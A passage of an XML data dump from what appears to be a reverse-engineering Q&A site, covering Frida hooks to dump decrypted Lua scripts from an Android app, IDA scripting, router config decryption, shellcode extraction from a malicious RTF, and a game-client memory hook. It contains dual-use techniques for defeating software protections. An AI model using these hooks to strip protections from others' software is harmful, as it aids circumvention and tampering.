way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="22435" LastActivityDate="2018-06-29T19:32:30.130" Title="Techniques for marking memory changes" Tags="|memory|debuggers|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16876" PostTypeId="1" CreationDate="2017-12-01T02:11:34.613" Score="1" ViewCount="808" Body="&lt;p&gt;I have been recently trying to decrypt &lt;code&gt;.luac&lt;/code&gt; files inside an encrypted android app. I tried to follow some of the previous threads here but the following frida script didn't give any output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Interceptor.attach(Module.findExportByName(&quot;libcocos2dlua.so&quot;, &quot;xxtea[i]decrypt&quot;), {&#xA;    onEnter: function(args) {&#xA;        send(Memory.readUtf8String(args[1]));&#xA;    },&#xA;    onLeave:function(retval){}&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I tried to hook lua[/i]load buffer, I got the decrypted lua file contents in response.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Interceptor.attach(Module.findExportByName(&quot;libcocos2dlua.so&quot; , &quot;luaL_loadbuffer&quot;), {&#xA;    onEnter: function(args) {&#xA;        send(Memory.readUtf8String(args[1]));&#xA;    },&#xA;    onLeave:function(retval){}&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;since there is very less documentation on frida android hooking can someone here help me write a frida script to dump all the decrypted luac files&lt;/p&gt;&#xA;" OwnerUserId="22444" LastEditorUserId="2147" LastEditDate="2017-12-01T02:20:44.880" LastActivityDate="2017-12-01T02:20:44.880" Title="Need Help decrypting .luac files" Tags="|ida|encryption|decryption|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16877" PostTypeId="2" ParentId="1970" CreationDate="2017-12-01T09:19:29.240" Score="3" Body="&lt;p&gt;An alternative suggestion to Wireshark as of ~2018, the current Microsoft-developed solution that has superseded &lt;em&gt;Microsoft Network Monitor&lt;/em&gt; is &lt;a href=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=44226&quot; rel=&quot;nofollow noreferrer&quot;&gt;Microsoft Message Analyzer&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The latest build of Version 1.4 as of this post is published &lt;strong&gt;October 28, 2016&lt;/strong&gt;, and the &lt;a href=&quot;https://blogs.technet.microsoft.com/messageanalyzer/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Message Analyzer TechNet Blog&lt;/a&gt; has gone mysteriously radio silent as of ~September 2016 after regular postings before then.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; The Message Analyzer was retired late 2019.&lt;/p&gt;&#xA;" OwnerUserId="22450" LastEditorUserId="22450" LastEditDate="2021-02-20T20:14:35.357" LastActivityDate="2021-02-20T20:14:35.357" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="16879" PostTypeId="1" AcceptedAnswerId="16885" CreationDate="2017-12-01T10:22:34.650" Score="0" ViewCount="148" Body="&lt;p&gt;I am trying to understand a hook installed by a program within the Win32 API function ZwWriteVirtualMemory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that a jmp inside an instruction is used and I couldn't fix  it to be able to continue my analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on this would be greatly appreciated !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WQsmf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WQsmf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/B30yY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/B30yY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16445" LastActivityDate="2017-12-01T16:24:37.943" Title="Help with anti-disassembly trick inside a hooked function" Tags="|ida|anti-debugging|function-hooking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16880" PostTypeId="1" CreationDate="2017-12-01T11:46:16.223" Score="2" ViewCount="1670" Body="&lt;p&gt;Is there any way to monitor kernel-mode code execution on Windows with a program like Process Monitor or is that something for WinDbg only?&lt;/p&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="18804" LastEditDate="2018-01-03T15:09:55.917" LastActivityDate="2018-04-04T22:03:28.720" Title="Is there a ProcMon style program for Kernel-Mode?" Tags="|windows|kernel-mode|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16881" PostTypeId="2" ParentId="16880" CreationDate="2017-12-01T12:25:40.443" Score="0" Body="&lt;p&gt;What do you mean by monitoring kernel-mode code execution? There's a lot of things happening in kernel mode. For example file and registry operations will still be visible in ProcessMonitor, due to kernel code most of the time is executed in context of the user mode processes, i.e. outside of System process. Yet if you remove a filter on System process in ProcessMonitor, you'll be able to see kernel activity from System process too. Also there are tools like IrpMon or DriverMon which allow you to see IRP traffic/the calls to IRP_MJ_xx functions.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2017-12-01T12:25:40.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16882" PostTypeId="2" ParentId="16875" CreationDate="2017-12-01T12:32:30.523" Score="0" Body="&lt;p&gt;Don't think there's something. Yet you could implement it yourself. If you know the memory region your code uses, you may mark memory pages as PAGE_GUARD via VirtualProtect(), as Armadillo protector once did :) On each access to the memory STATUS_GUARD_PAGE_VIOLATION will be raised and you'll know who did it and where it tried to access. Then you recover from exception and do it all over again.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2017-12-01T12:32:30.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16883" PostTypeId="2" ParentId="16835" CreationDate="2017-12-01T16:10:17.537" Score="2" Body="&lt;p&gt;Exceptions in TLSCallbacks are discarded by Windows, but stop further callbacks from being called, and then control is transferred to the main entrypoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the code that you've shown for the TLSCallback looks like garbage, the registers aren't predictable, and I doubt that what you've shown is actually executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the TLSCallback field not a single callback, it's a pointer to an array, but your screenshot has obscured the array pointer.  Each callback is executed in turn, and any callback can alter the entries in the array for later callback entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The label for TlsEnd is not correct.  The zero marks unused values in the first two fields (start and end of the memory region to reserve).    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see examples of TLS on my site: &lt;a href=&quot;http://pferrie.host22.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pferrie.host22.com&lt;/a&gt;&#xA;(assuming that it's working today) in the Company presentations section from 2008.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2017-12-01T16:10:17.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16884" PostTypeId="2" ParentId="16840" CreationDate="2017-12-01T16:12:09.520" Score="1" Body="&lt;p&gt;The code uses this non-optimal form in order to match the original code.  It is saving the value in the local &quot;pid&quot; variable so that a debugger can see it.  Then it is fetching the value again in order to use it.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2017-12-01T16:12:09.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16885" PostTypeId="2" ParentId="16879" CreationDate="2017-12-01T16:24:37.943" Score="2" Body="&lt;p&gt;There is no obfuscation here, it is a fairly standard jump to a fixed address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Breaking it down:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FF 25 00 00 00 00        ; jmp  qword ptr [rip]&#xA;68 01 4A 00 00 00 00 00  ; dq   00000004A0168h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first instruction says to read the value at RIP and then jump to that address. Since RIP is already advanced past the end of the instruction, the data value is in the 8 bytes following the jump (which happens to be the value 0x4A0168). So the code that executes next is at that virtual address.&lt;/p&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2017-12-01T16:24:37.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16888" PostTypeId="2" ParentId="16852" CreationDate="2017-12-02T00:39:03.440" Score="1" Body="&lt;p&gt;&lt;em&gt;I wouldn't call what you posted in your edit valid C++ code. It may compile, it may run, but although technically C code, it's the output of an automated decompiler and they tend to be a lot more complex and puzzling than genuine, human made code.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I'm handed a problem of creating the reverse algorithm of a part of a binary, I often follow these three steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Re-implement the original algorithm in an easily readable manner.&lt;/li&gt;&#xA;&lt;li&gt;Make sure all parts of the algorithm are indeed invertible.&lt;/li&gt;&#xA;&lt;li&gt;implement the inverted algorithm piece by piece.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And in some more details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;re-implement the algorithm itself as the first step. Doesn't really matter what language you use, as long as the code is clear and you have a good understanding of that language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way I get a deep understanding on how the algorithm works and have some intuition for it. Additionally, this makes it a lot easier to read and wrap my head around it. Doing it by yourself instead of relying on decompilers is a really good approach, especially when you haven't done that for a long time. My implementation will also come in handy later on when &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I get the original algorithm right (this includes running my version and the original version on different inputs and matching the outputs), the second stage would probably be to look for any single piece that isn't invertible like cryptographic hash functions. If I find one of those and I can't find a way to circumvent the need for it, that's usually wraps that up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third and final step would be to place the code side by side with an implementation that tries to invert the output back to the input, starting with only small slices of the entire algorithm. I would start by only inverting a small chunk of the algorithm, run a couple of different values through the end of my implementation of the original algorithm and build up on that as I go.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-12-02T08:35:12.737" LastActivityDate="2017-12-02T08:35:12.737" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16889" PostTypeId="1" CreationDate="2017-12-02T08:17:46.403" Score="1" ViewCount="534" Body="&lt;p&gt;Say, if I have the following disassembly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ayQCl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ayQCl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I find out where else is that byte at &lt;code&gt;[eax+0xFCA]&lt;/code&gt; is referenced? I can't seem to use the IDA's &lt;code&gt;xref&lt;/code&gt; command on it, but doing &lt;code&gt;xref&lt;/code&gt; on &lt;code&gt;fs:18h&lt;/code&gt; gives me too many results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. I'm using IDA Pro as a disassembler, while stepping through &lt;code&gt;kernel32.dll&lt;/code&gt; with &lt;code&gt;WinDbg&lt;/code&gt; as a debugger in a user mode. In the screenshot above the &lt;code&gt;EIP&lt;/code&gt; (breakpoint) is currently at the &lt;code&gt;744E78D6&lt;/code&gt; opcode of interest.&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2017-12-02T08:34:43.117" Title="Is it possible to use an xref on memory address in IDA Pro?" Tags="|ida|windows|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16890" PostTypeId="2" ParentId="16889" CreationDate="2017-12-02T08:34:43.117" Score="3" Body="&lt;p&gt;IDA's xref functionality only works for static references. The references it detects by statically analyzing the code. It cannot find any dynamic or runtime references to addresses using the xref functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, you'd need to use the memory breakpoint feature IDA's debugging interface has (or any other debugger, for that matter) to breakpoint any time a memory address is accessed. Be advised memory breakpoints has several caveats such as incurring a noticeable performance penalty and being detectable by anti-debugging techniques. Hardware breakpoints may also be used for the same purpose but are harder to detect by anti-debugging techniques.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-12-02T08:34:43.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16891" PostTypeId="2" ParentId="16866" CreationDate="2017-12-02T08:52:28.957" Score="3" Body="&lt;p&gt;You can try this function that I wrote which worked just fine in some quick tests I did. You might need to implement more code to handle &lt;em&gt;edge cases&lt;/em&gt;, but in general it should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function was written with the following generic assumptions (&lt;em&gt;which isn't always true&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A Branch\Jump instruction has at least one local reference&lt;/li&gt;&#xA;&lt;li&gt;A Conditional Branch would have the flow continued to the next instruction in True/False cases.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And here's the code which is commented where I think it'd be helpful:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from idaapi import *&#xA;from idc import *&#xA;&#xA;def check_conditional(func_ea, addr):&#xA;    # Get: function's base address, suspicious branch/jmp address&#xA;    # Returns: a strings which says whether the address is a Conditional Branch, Unconditional Branch or neither&#xA;&#xA;    f_start = get_func(func_ea).startEA&#xA;    f_end = FindFuncEnd(f_start)&#xA;&#xA;    # Get local function's references made from the instruction&#xA;    refs = CodeRefsFrom(addr, 0)&#xA;    refs = set(filter(lambda x: x&amp;gt;=f_start and x&amp;lt;=f_end, refs)) &#xA;    if refs:&#xA;        # Add a reference to the next instruction if the flow continues to it&#xA;        next_head = NextHead(addr, f_end)&#xA;        if isFlow(GetFlags(next_head)):&#xA;            # refs holds the referenced address so you can use them later&#xA;            refs.add(next_head)&#xA;            return &quot;Conditional Branch&quot;&#xA;        else:&#xA;            return &quot;Unconditional Branch&quot;           &#xA;    else:&#xA;        return &quot;Not JMP/Branch at all&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-12-02T08:52:28.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16893" PostTypeId="1" AcceptedAnswerId="16899" CreationDate="2017-12-01T21:32:39.923" Score="8" ViewCount="5415" Body="&lt;p&gt;In &lt;code&gt;%SYSTEMROOT%&lt;/code&gt;, there are about 2000 DLL and EXE files. I am looking into reverse engineering some of them which are dependencies of other applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, what I would preferably want is disassembling all of them and get the assembly files from all files in order to search through the code more &quot;quickly&quot;. Even though I keep focusing on individual functions and files, I would otherwise need to decompile each DLL individually, which is a lot of repetitive work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's hard enough to find a proper x64 disassembler tool, let a long something that has command line options. Do you have any idea how to solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="22474" OwnerDisplayName="bytecode77" LastActivityDate="2018-06-18T08:49:57.353" Title="Batch disassembling DLL and EXE files?" Tags="|windows|assembly|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16894" PostTypeId="1" CreationDate="2017-12-02T20:04:05.423" Score="1" ViewCount="232" Body="&lt;p&gt;I am trying to decrypt a &lt;a href=&quot;http://www.oxygenbroadband.com/oxygen-multigateway.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;router&lt;/a&gt; configuration backup file that appears to be a combination of a 128-byte header, a PKCS #7 encrypted file, and another OpenSSL salted format encrypted file.  I think the file encrypts a single data chunk in a nested way in order to hinder its decryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can decrypt the first part with the following command.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd if=file skip=128 iflag=skip_bytes |&#xA;openssl smime -decrypt -inform der -in - -inkey server.key -out part1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives me 5550 base-64 encoded bytes, which I can then convert into a 4096 byte binary file.  The distribution of byte values within the file is random: similar to that I obtain from &lt;code&gt;openssl rand&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial guess is that the first part file is a (too long?) key for decrypting the second part file.  Based on commands used in the router's firmware, I tried to decrypt the second part with the decrypted first part as a key, both before and after decoding it with &lt;em&gt;base64&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd if=file skip=$(grep -abo Salted__ file | cut -d: -f 1) iflag=skip_bytes |&#xA;openssl enc -d -aes-256-cbc -out decrypted -pass file:part1&#xA;&#xA;dd if=file skip=$(grep -abo Salted__ file | cut -d: -f 1) iflag=skip_bytes |&#xA;openssl enc -d -aes-256-cbc -out decrypted -pass file:&amp;lt;(base64 -d &amp;lt;part1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In both cases I get a &lt;code&gt;bad decrypt&lt;/code&gt; error, and the decrypted file appears to contain random bytes.  Any other ideas on how the file could be encrypted?&lt;/p&gt;&#xA;" OwnerUserId="22473" LastEditorUserId="22473" LastEditDate="2017-12-03T09:52:17.833" LastActivityDate="2017-12-03T09:52:17.833" Title="Difficulty decrypting nested PKCS #7 / AES router configuration file" Tags="|firmware|decryption|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16895" PostTypeId="2" ParentId="16866" CreationDate="2017-12-02T21:05:09.123" Score="2" Body="&lt;p&gt;This solution isn't 100% architecture agnostic but it is a little simpler and shouldn't be too difficult to add support for architectures with delay slots. If you are just interested whether the flow is conditional or not then you can ignore the &lt;code&gt;Rfirst0&lt;/code&gt; part.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def conditional_branches_for(ea):&#xA;    func = idaapi.get_func(ea)&#xA;&#xA;    for basicblock in idaapi.FlowChart(func):&#xA;        # Insert logic here for getting branch for archs with delay slots&#xA;        last_ea = PrevHead(basicblock.endEA)&#xA;&#xA;        # Get any Xrefs that are not part of the regular flow&#xA;        if Rfirst0(last_ea) == idaapi.BADADDR:&#xA;            print('Skipping {:#x} because it is not a branch'.format(last_ea))&#xA;            continue&#xA;&#xA;        successors = len(tuple(basicblock.succs()))&#xA;        if successors == 0:&#xA;            branch_type = 'does not branch'&#xA;        elif successors == 1:&#xA;            branch_type = 'has an unconditional branch'&#xA;        else:&#xA;            branch_type = 'has a conditional branch'&#xA;&#xA;        print('BasicBlock at {:#x} {}'.format(last_ea, branch_type))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2017-12-02T21:05:09.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16896" PostTypeId="2" ParentId="16893" CreationDate="2017-12-02T21:58:21.050" Score="5" Body="&lt;p&gt;Unix tools are your friends!  You can disassemble all files by using a combination of Unix commands.  These are easily available on Windows through &lt;a href=&quot;https://www.cygwin.com/&quot; rel=&quot;noreferrer&quot;&gt;Cygwin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;find $SYSTEMROOT -name \*.exe -or -name \*.dll -print0 |&#xA;xargs -0 -n 1 dumpbin /disasm &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first command finds all &lt;code&gt;.exe&lt;/code&gt; and &lt;code&gt;.dll&lt;/code&gt; commands. The second applies &lt;code&gt;dumpbin&lt;/code&gt;, which comes packaged with Visual Studio, on each found file name. You can redirect the output into a file, or you can modify the above sequence to write the output of each disassembled file into a different output file.  You can also replace &lt;code&gt;dumpbin&lt;/code&gt; with your favourite disassembler.&lt;/p&gt;&#xA;" OwnerUserId="22473" LastEditorUserId="22473" LastEditDate="2017-12-03T05:29:24.570" LastActivityDate="2017-12-03T05:29:24.570" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16897" PostTypeId="1" CreationDate="2017-12-02T23:47:48.790" Score="0" ViewCount="289" Body="&lt;p&gt;So, here is the context: All start with a RTF file that has 3 objects. The first one loads a non-ASLR module &quot;MSCOMCTL.OCX&quot; and uses it to succed on a Heap Spray technique so it allocates enough memory to load the second object: One .doc file that has a shellcode embedded in an ActiveX file (activex1.bin). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uDbRZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uDbRZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this picture we can see the NOP-Sled and how the first stage of the shellcode is trying to XOR some bytes in memory. The problem is, ECX points to 82849735 and it is out of memory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to &lt;strong&gt;extract second stage of the shellcode&lt;/strong&gt;. I tryed WinHex to see if there was something in that position but I didn's succed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aclaration: I got to this point using jmp2it with the activex1.bin directly, so it is not the &quot;context&quot; of all the things the RTF file did (The heap spray and so on) and maybe it is important. I don't know how to proceed since it's a RTF file and I cannot just put that in the debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit/Update:&lt;/strong&gt; I tried jmp2it to load the shellcode, and as you can see here:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZHzrH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZHzrH.png&quot; alt=&quot;Getting Handle.&quot;&gt;&lt;/a&gt;&#xA;It uses GetFileSize to check for a file handle (the rtf file). The problem is:&#xA;If I launch jmp2it with the handle option, and point to that rtf, even though the shellcode will run properly, I will not have time to attach a debugger to the process (and I would lose the initial things).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I don't know if there is a way or a tool that will let me stop a proccess anytime it calls a function? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to load the rtf and attach a debugger but it doesn't work. Everything I tried does not work because most of the tools are for .exe's but most importantly because when I tried to launch the shellcode with anyother tool it fails since all the things (ASLR bypass for example) that .RTF does didn't happen.&lt;/p&gt;&#xA;" OwnerUserId="22477" LastEditorUserId="22477" LastEditDate="2017-12-10T21:54:05.537" LastActivityDate="2018-02-04T19:08:30.693" Title="2 Stage Shellcode Embedded in Doc file [Out Of Memory - Can't extract it]" Tags="|windows|malware|shellcode|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16899" PostTypeId="2" ParentId="16893" CreationDate="2017-12-03T02:50:00.157" Score="9" Body="&lt;p&gt;If you have any version of Visual Studio or Visual Studio Build Tools installed, you have a powerful command line tool called &lt;code&gt;dumpbin&lt;/code&gt;, which includes a disassembler option, available to you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dumpbin /SECTION:.text /DISASM file.exe &amp;gt; file.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more information, look at the MSDN documentation on &lt;code&gt;dumpbin&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4658" LastEditorUserId="245" LastEditDate="2018-06-17T20:03:08.683" LastActivityDate="2018-06-17T20:03:08.683" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="16902" PostTypeId="1" AcceptedAnswerId="16903" CreationDate="2017-12-03T17:26:06.713" Score="0" ViewCount="805" Body="&lt;p&gt;How can I debug Portable executable for AMD64 in IDA PRO if I have Intel processor?&lt;/p&gt;&#xA;" OwnerUserId="21789" LastActivityDate="2017-12-03T18:21:26.397" Title="How to debug Portable executable for AMD64 in IDA PRO?" Tags="|ida|debugging|amd64|intel|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16903" PostTypeId="2" ParentId="16902" CreationDate="2017-12-03T18:15:20.717" Score="1" Body="&lt;p&gt;You did not give any details about your machine's processor. Does it support 64-bit architecture? Does it implement the x86-64 instruction set?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is only a problem if your machine's Intel processor does not support 64-bit architecture and/or does not does not implement the same instruction set as AMD64 processors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, AMD64 processors and most 64-bit Intel processors (other than Itanium-family processors, for example) implement the same instruction set: &lt;a href=&quot;http://support.amd.com/TechDocs/24594.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;x86-64&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, PE binaries compiled to target the x86-64 instruction set architecture will execute on Windows boxes regardless of whether they utilize an AMD64 processor or a 64-bit Intel processor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/1109569/do-intel-and-amd-processor-have-the-same-assembler&quot;&gt;https://stackoverflow.com/questions/1109569/do-intel-and-amd-processor-have-the-same-assembler&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://askubuntu.com/questions/54296/difference-between-the-i386-download-and-the-amd64&quot;&gt;https://askubuntu.com/questions/54296/difference-between-the-i386-download-and-the-amd64&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2017-12-03T18:21:26.397" LastActivityDate="2017-12-03T18:21:26.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16905" PostTypeId="2" ParentId="16813" CreationDate="2017-12-03T20:31:24.150" Score="-1" Body="&lt;p&gt;The address I used was wrong :|&lt;/p&gt;&#xA;" OwnerUserId="22327" LastActivityDate="2017-12-03T20:31:24.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16906" PostTypeId="1" CreationDate="2017-12-03T20:46:57.507" Score="1" ViewCount="159" Body="&lt;p&gt;I developing online game. I have full sources for server, but game client I am using is closed-source so I need to do some reverse engineering there. So for 2 weeks I am trying to properly call draw_rectangle function. In the image below you can see screenshot from OLLY.&#xA;There are functions:&lt;/p&gt;&#xA;&lt;p&gt;DRAW_BLACK_BAR(black frame for health bar),&lt;/p&gt;&#xA;&lt;p&gt;DRAW_COLORED_BAR(The health inside),&lt;/p&gt;&#xA;&lt;p&gt;DRAW_NICK(already hooked)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DpIIg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DpIIg.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;the CALL DWORD PTR DS:[EDX+14] always points to 0x4EB2F0&lt;/p&gt;&#xA;&lt;p&gt;So the addres contains that function in debugger:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ahpGt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ahpGt.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you can see there are parameters on the stack such as: Surface_id, position, size, color, pointer to creature.&lt;/p&gt;&#xA;&lt;p&gt;So theres my hook:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;superHook(dwHandle, 0x4C8C28, (unsigned int)newFunc); //instead of call print rectangle func for colored bar&#xA; &#xA;void superHook(HANDLE dwHandle, int adr, unsigned int targetFunction)&#xA;{&#xA;    //its not normal CALL ADDR which takes 5 bytes (E8 + 4x bytes for address)&#xA;    //It is CALL DWORD PTR DS:[EDX+14] which takes 3bytes, so we will take more space&#xA;    //and we will rebuild the function&#xA;     &#xA;     &#xA;    // jmp to address +2x nop&#xA;    BYTE bytes[7] = { 0xE9, 0xFF, 0xFF, 0xFF, 0xFF, 0x90, 0x90};&#xA;    DWORD targetAddr = targetFunction - adr - 5;&#xA;    *(DWORD*)(bytes + 1) = targetAddr;&#xA;    WriteProcessMemory(dwHandle, (void *)adr, bytes, 7, NULL);&#xA;}&#xA; &#xA;void newFunc()&#xA;{&#xA;    //Rebuild the function (Earsed commands to be able to put JMP address)&#xA;    __asm {&#xA;            MOV ECX, DWORD PTR SS : [EBP - 0x18]&#xA;            PUSH ESI&#xA;    }&#xA; &#xA;    //Here I can access all the registers and stack before CALL will be executed&#xA;     &#xA; &#xA;    //call draw rectangle&#xA;    __asm {&#xA;            CALL DWORD PTR DS : [EDX + 0x14]//always call 0x4EB2F0?&#xA;    }&#xA; &#xA; &#xA;    //go back&#xA;    __asm {&#xA;        PUSH 0x4C8C2F&#xA;            RET&#xA;    }&#xA; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And it works fine, I can acces the params on stack and modify them (CHange color,size, location etc). BUt I would like to be able to create another rectangle, for example next one with another color and position. I tried a lot of combinations of setting up the new stack with params calling the func and then calling it again with original ones but I always end up with client crash.&lt;/p&gt;&#xA;&lt;p&gt;Heres an one of example of my attempt to create new call + restoring old one&#xA;&lt;a 